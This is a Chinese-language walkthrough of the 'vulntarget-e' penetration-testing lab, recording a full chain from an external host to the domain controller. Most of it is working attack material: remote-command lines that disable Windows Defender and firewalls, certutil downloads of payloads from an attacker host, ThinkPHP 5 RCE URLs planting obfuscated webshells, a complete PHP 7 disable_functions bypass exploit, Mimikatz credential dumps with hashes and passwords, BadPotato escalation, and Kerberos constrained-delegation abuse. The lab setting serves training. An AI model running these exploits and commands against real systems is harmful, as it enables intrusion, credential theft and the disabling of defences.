vulntarget-e记录-Redbag

vulntarget-e记录-Redbag

“`
xrkRce.exe -h 192.168.111.20
“`

图片[1]-vulntarget-e记录-Redbag-棉花糖会员站

“`
python -m http.server
 
./sunRce -h 192.168.111.20 -p 49670 -t rce -c “tasklist”
./sunRce -h 192.168.111.20 -p 49670 -t rce -c “whoami”
./sunRce -h 192.168.111.20 -p 49670 -t rce -c “set-MpPreference -DisableRealtimeMonitoring $true”
./sunRce -h 192.168.111.20 -p 49670 -t rce -c “set-MpPreference -DisableRealtimeMonitoring 1”
./sunRce -h 192.168.111.20 -p 49670 -t rce -c “certutil.exe -urlcache -split -f http://192.168.111.25:8084/swt C:\Users\Public\run.bat”
./sunRce -h 192.168.111.20 -p 49670 -t rce -c “C:\Users\Public\run.bat”
./sunRce -h 192.168.111.20 -p 49670 -t rce -c “netsh firewall set service remoteadmin enable”
./sunRce -h 192.168.111.20 -p 49670 -t rce -c “netsh firewall set service remotedesktop enable”
./sunRce -h 192.168.111.20 -p 49670 -t rce -c “REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f”
 
192.168.100.155 192.168.111.20
fscan -h 192.168.100.155/24
上线cs读密码扫端口,密码感觉读不全,尝试降权继续读
WIN-HHP4Q76IAO9\Administrator 388f586516a4cba963b4181363b44034  win2008
开3389
然后上个administrator的cs权限,执行Mimikatz,把防火墙关一下,发现Mimikatz还是抓不全,那就抓一下hash
WIN-HHP4Q76IAO9\ash 96783bb69c00614e88f7d4688623c83a   qweASD123
“`

图片[2]-vulntarget-e记录-Redbag-棉花糖会员站

图片[3]-vulntarget-e记录-Redbag-棉花糖会员站

图片[4]-vulntarget-e记录-Redbag-棉花糖会员站

图片[5]-vulntarget-e记录-Redbag-棉花糖会员站

“`
host碰撞一下子192.168.100.131
python IP_hosts_scan.py
192.168.100.131 — www.cJO6w10YLS.com 协议:http:// 数据包大小:649 标题:vulntarget后台登录界面
“`

图片[6]-vulntarget-e记录-Redbag-棉花糖会员站

图片[7]-vulntarget-e记录-Redbag-棉花糖会员站

图片[8]-vulntarget-e记录-Redbag-棉花糖会员站

“`
发现了这个界面一顿扫下去啥也没有,回远程桌面看看浏览器记录
vulntarget/public/index.php
http://www.cjo6w10yls.com/vulntarget/public/index.php
ThinkPHP V5  
十年磨一剑 – 为API开发设计的高性能框架
[ V5.0 版本由 [七牛云](http://www.qiniu.com/) 独家赞助发布 ]
开扫,扫不出来,手搓吧拿poc
http://www.cjo6w10yls.com/vulntarget/public/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=var_dump&vars[1][]=((md5(2333))
 
http://www.cjo6w10yls.com/vulntarget/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../../bak.php&vars[1][]=%3C%3Fphp+%24a%3D%22%7E%2Bd%28%29%22%5E%22%21%7B%2B%7B%7D%22%3B%40%24b%3Dbase64_decode%28%24%7B%24a%7D%5B%22a%22%5D%29%3Beval%28%22%22.%24b%29%3B%3F%3E
写马的poc被拦了
传sqzr免杀马
http://www.cjo6w10yls.com/vulntarget/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../../bak.php&vars[1][]=%3C%3Fphp+%0A%24uf%3D%22snc3%22%3B+%2F%2Fpass+is+sqzr%0A%24ka%3D%22IEBldmFbsK%22%3B+%0A%24pjt%3D%22CRfUE9TVF%22%3B+%0A%24vbl+%3D+str_replace%28%22ti%22%2C%22%22%2C%22tistittirti_rtietipltiatice%22%29%3B+%0A%24iqw%3D%22F6ciddKTs%3D%22%3B+%0A%24bkf+%3D+%24vbl%28%22k%22%2C+%22%22%2C+%22kbakske6k4k_kdkekckokdke%22%29%3B+%0A%24sbp+%3D+%24vbl%28%22ctw%22%2C%22%22%2C%22ctwcctwrectwatctwectw_fctwuncctwtctwioctwn%22%29%3B+%0A%24mpy+%3D+%24sbp%28%27%27%2C+%24bkf%28%24vbl%28%22b%22%2C+%22%22%2C+%24ka.%24pjt.%24uf.%24iqw%29%29%29%3B+%24mpy%28%29%3B+%0A%3F%3E
传上去但不能用
http://www.cjo6w10yls.com/vulntarget/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../1.php&vars[1][1]=%3C?php%20eval(urldecode(urldecode(urldecode($_REQUEST[cmd]))));?%3E
forceUrlEn(forceUrlEn(forceUrlEn(payload)));
 
%3C?php%20eval(urldecode(urldecode(urldecode($_REQUEST[cmd]))));?%3E
 
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../1.php&vars[1][1]=<?php @eval(hex2bin($_REQUEST[1]));
直接用wp的马子吧
“`

图片[9]-vulntarget-e记录-Redbag-棉花糖会员站

图片[10]-vulntarget-e记录-Redbag-棉花糖会员站

图片[11]-vulntarget-e记录-Redbag-棉花糖会员站

图片[12]-vulntarget-e记录-Redbag-棉花糖会员站

图片[13]-vulntarget-e记录-Redbag-棉花糖会员站

“`
‘use strict’;
function forceUrlEn(s) {
  return Array.from(s).map(i=>’%’+i.charCodeAt(0).toString(16).padStart(2,’0′)).join(”)
}
module.exports = (pwd, data, ext={}) => {
  //data[‘_’]原有的payload
  const payload = data[‘_’]
  data[pwd] = forceUrlEn(forceUrlEn(forceUrlEn(payload)));
  delete data[‘_’];
  return data;
}
“`

图片[14]-vulntarget-e记录-Redbag-棉花糖会员站

“`
http://www.cjo6w10yls.com/1.php
cmd
“`
php7-gc-bypass/exploit.php
“`
<?php
 
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1
 
pwn(“uname -a”);
 
function pwn($cmd) {
    global $abc, $helper;
 
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j–) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
 
    function ptr2str($ptr, $m = 8) {
        $out = “”;
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
 
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }
 
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p – 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) – 1; }
        return $leak;
    }
 
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
 
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
 
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
 
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }
 
        if(!$data_addr || !$text_size || !$data_size)
            return false;
 
        return [$data_addr, $text_size, $data_size];
    }
 
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak – $base > 0 && $leak – $base < $data_addr – $base) {
                $deref = leak($leak);
                # ‘constant’ constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
 
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak – $base > 0 && $leak – $base < $data_addr – $base) {
                $deref = leak($leak);
                # ‘bin2hex’ constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
 
            return $data_addr + $i * 8;
        }
    }
 
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start – 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }
 
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
 
            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
 
    class ryat {
        var $ryat;
        var $chtg;
        
        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }
 
    class Helper {
        public $a, $b, $c, $d;
    }
 
    if(stristr(PHP_OS, ‘WIN’)) {
        die(‘This PoC is for *nix systems only.’);
    }
 
    $n_alloc = 10; # increase this value if you get segfaults
 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat(‘A’, 79);
 
    $poc = ‘a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:”ryat”:2:{s:4:”ryat”;R:3;s:4:”chtg”;i:2;}}i:1;i:3;i:2;R:5;}’;
    $out = unserialize($poc);
    gc_collect_cycles();
 
    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];
 
    $helper = new Helper;
    $helper->b = function ($x) { };
 
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die(“UAF failed”);
    }
 
    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap – 0xc8;
 
    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
 
    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
 
    $closure_obj = str2ptr($abc, 0x20);
 
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die(“Couldn’t determine binary base address”);
    }
 
    if(!($elf = parse_elf($base))) {
        die(“Couldn’t parse ELF header”);
    }
 
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die(“Couldn’t get basic_functions address”);
    }
 
    if(!($zif_system = get_system($basic_funcs))) {
        die(“Couldn’t get zif_system address”);
    }
 
    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
 
    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
 
    ($helper->b)($cmd);
 
    exit();
}
“`
现在是Linux系统,
/home/vulntarget/key
下有一个私钥下载下来,ssh连接192.168.100.131

图片[15]-vulntarget-e记录-Redbag-棉花糖会员站

图片[16]-vulntarget-e记录-Redbag-棉花糖会员站

登录成功,传个正向马上线
chmod +x 4488
./4488 &
正向连不上,那直接传fscan
“`
192.168.88.100 192.168.100.131
bt
14
http://192.168.100.131:8888/fa453135
rtwd3pfy
2ddc2b7f
面板里没看到防火墙
chmod +x fscan
./fscan -h 192.168.88.100/24
 
systemctl stop firewalld
systemctl disable firewalld
ufw disable
iptables -F
关闭防火墙后成功正向上线
搭隧道
[*] 192.168.88.102
[->] WIN-N4DK5RPD2QU
[->] 192.168.88.102 
[->] 10.0.10.9
[+] MS17-010 192.168.88.102     (Windows Server 2008 HPC Edition 7601 Service Pack 1)
[+] 端口开放 192.168.88.102:1433
干一下1433先
sa/qweASD123
MDUT直接干
低权限
BT里直接传马,远程下载然后执行
bt里直接把域名限制IP限制全部取消
certutil.exe -urlcache -split -f http://192.168.88.100:3333/BadPotato.exe C:/Users/Public/BadPotato.exe
C:/Users/Public/BadPotato.exe
发现SharpSQLToolsGUI可以直接提权
C:/Users/Public/4455.exe
netsh advfirewall set allprofiles state off
正向上线vshell
“`

图片[17]-vulntarget-e记录-Redbag-棉花糖会员站

图片[18]-vulntarget-e记录-Redbag-棉花糖会员站

图片[19]-vulntarget-e记录-Redbag-棉花糖会员站

图片[20]-vulntarget-e记录-Redbag-棉花糖会员站

图片[21]-vulntarget-e记录-Redbag-棉花糖会员站

“`
现在数据库这台机器已拿下
vshell直接打隧道
10.0.10.9 192.168.88.102
fscanx86 -h 10.0.10.9/24
[*]10.0.10.9
   [->]WIN-N4DK5RPD2QU
   [->]192.168.88.102
   [->]10.0.10.9
[+] 10.0.10.9 MS17-010 (Windows Server 2008 HPC Edition 7601 Service Pack 1)
 
[*]10.0.10.10
   [->]WIN-1PV25H8UJPN
   [->]10.0.10.10
[*] 10.0.10.10     [+]DC VULNTARGET\WIN-1PV25H8UJPN   Windows Server 2016 Datacenter 14393
[*] 10.0.10.10  (Windows Server 2016 Datacenter 14393)
[*] WebTitle:http://10.0.10.10         code:200 len:703    title:IIS Windows Server
[+] http://10.0.10.10 poc-yaml-active-directory-certsrv-detect 
抓一下密码
mimikatz.x64.exe “sekurlsa::logonpasswords full” exit > passwords.txt
* Username : win2008
* Domain   : VULNTARGET.COM
* Password : qweASD123
能确认域控主机为WIN-1PV25H8UJPN 
域为VULNTARGET.COM
adfind
查询机器用户(主机)配置约束委派
AdFind -b “DC=VULNTARGET,DC=COM” -f “(&(samAccountType=805306369)(msds-allowedtodelegateto=*))” msds-allowedtodelegateto
查询服务账户(主机)配置约束委派
AdFind -b “DC=VULNTARGET,DC=COM” -f “(&(samAccountType=805306368)(msds-allowedtodelegateto=*))” msds-allowedtodelegateto
 
AdFind V01.62.00cpp Joe Richards (support@joeware.net) October 2023
Using server: WIN-1PV25H8UJPN.vulntarget.com:389
Directory: Windows Server 2016
dn:CN=win2008,CN=Users,DC=vulntarget,DC=com
>msDS-AllowedToDelegateTo: cifs/WIN-1PV25H8UJPN.vulntarget.com/vulntarget.com
>msDS-AllowedToDelegateTo: cifs/WIN-1PV25H8UJPN.vulntarget.com
>msDS-AllowedToDelegateTo: cifs/WIN-1PV25H8UJPN
>msDS-AllowedToDelegateTo: cifs/WIN-1PV25H8UJPN.vulntarget.com/VULNTARGET
>msDS-AllowedToDelegateTo: cifs/WIN-1PV25H8UJPN/VULNTARGET
1 Objects returned
 
判断有服务账户win2008配置了约束委派
开3389吧还是
netsh advfirewall set allprofiles state off
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f
给用户改个密码
net user Administrator admin@123
net localgroup “Remote Desktop Users” Administrator /add
(打到后边发现没必要开3389)
1、获取win2008用户的票据
kekeo
tgt::ask /user:win2008 /domain:vulntarget.com /password:qweASD123 /ticket:administrator.kirbi
2、利用win2008用户票据请求获取域控票据
kekeo
tgs::s4u /tgt:TGT_win2008@VULNTARGET.COM_krbtgt~vulntarget.com@VULNTARGET.COM.kirbi /user:Administrator@vulntarget.com /service:cifs/WIN-1PV25H8UJPN.vulntarget.com
TGS_Administrator@vulntarget.com@VULNTARGET.COM_cifs~WIN-1PV25H8UJPN.vulntarget.com@VULNTARGET.COM.kirbi
TGS_Administrator@vulntarget.com@VULNTARGET.COM_win2008@VULNTARGET.COM.kirbi
exit
3、导入票据到内存
传zip
mimikatz “kerberos::ptt TGS_Administrator@vulntarget.com@VULNTARGET.COM_cifs~WIN-1PV25H8UJPN.vulntarget.com@VULNTARGET.COM.kirbi” “exit”
4、连接通讯域控
dir \\WIN-1PV25H8UJPN.VULNTARGET.COM\C$
copy \\WIN-1PV25H8UJPN.vulntarget.com\C$\flag.txt flag.txt
 
“`

图片[22]-vulntarget-e记录-Redbag-棉花糖会员站

图片[23]-vulntarget-e记录-Redbag-棉花糖会员站

© 版权声明
THE END
喜欢就支持一下吧
点赞34赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容